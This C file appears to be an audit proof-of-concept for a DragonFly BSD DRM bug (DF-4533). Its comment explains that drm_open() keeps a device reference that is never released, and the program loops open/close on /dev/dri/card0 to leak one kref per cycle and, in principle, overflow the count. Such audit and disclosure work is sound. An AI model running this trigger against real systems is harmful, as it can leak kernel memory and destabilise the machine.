DF-4533 / trigger.c
/* * DF-4533 โ drm_open() leaks one drm_device kref per successful open * ================================================================ * * Protocol on Linux (which this code was ported from): * drm_open() : minor = drm_minor_acquire(id) [+1 dev ref] * ... on success the ref is intentionally kept * (it belongs to the open file) * drm_release() : minor = file_priv->minor; * drm_minor_release(minor); [-1 dev ref] * * On DragonFly the live release path is drm_close(), which instead does: * drm_close() : minor = drm_minor_acquire(id) [+1 dev ref] * ... teardown ... * drm_minor_release(minor); [-1 dev ref] * i.e. it releases ONLY its own acquire. The +1 taken by drm_open() at * drm_file.c:325 is never dropped by any live code path: * - drm_release() (drm_file.c:595) returns 0 immediately on __DragonFly__ * - drm_cdevpriv_dtor() (drm_drv.c:1194), which does device_unbusy and * would be the FreeBSD-style release, is never registered * (no devfs_set_cdevpriv() caller exists in sys/dev/drm) * * Consequence: dev->ref (kref) grows by 1 per open/close cycle forever. * drm_dev_release()/drm_dev_fini() can never run, so at driver unload the * whole drm_device (plus everything hanging off it) leaks, and the * unbounded int refcount can in principle be wrapped by ~2^31 cycles. * * trigger: open/close card0 forever; with debugging (hw.dri.debug=2 or * dev.ddb tracing) each close shows the kref never returning to its * pre-open value. Hardware-gated on the QEMU audit guest. */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *card = "/dev/dri/card0"; long cycles = argc > 1 ? atol(argv[1]) : 100000; long i; int fd = open(card, O_RDWR); if (fd < 0) { printf("%s: %s โ no DRM device on this system; the kref " "accounting cannot be exercised here.\n", card, strerror(errno)); return (0); } printf("cycling open/close on %s: %ld iterations\n", card, cycles); for (i = 0; i < cycles; i++) { close(fd); fd = open(card, O_RDWR); if (fd < 0) { perror("reopen"); return (1); } } close(fd); printf("done โ on a vulnerable system each iteration leaked one " "drm_device kref (drm_file.c:325 acquire never released; " "drm_close:445 releases only its own)\n"); return (0); } |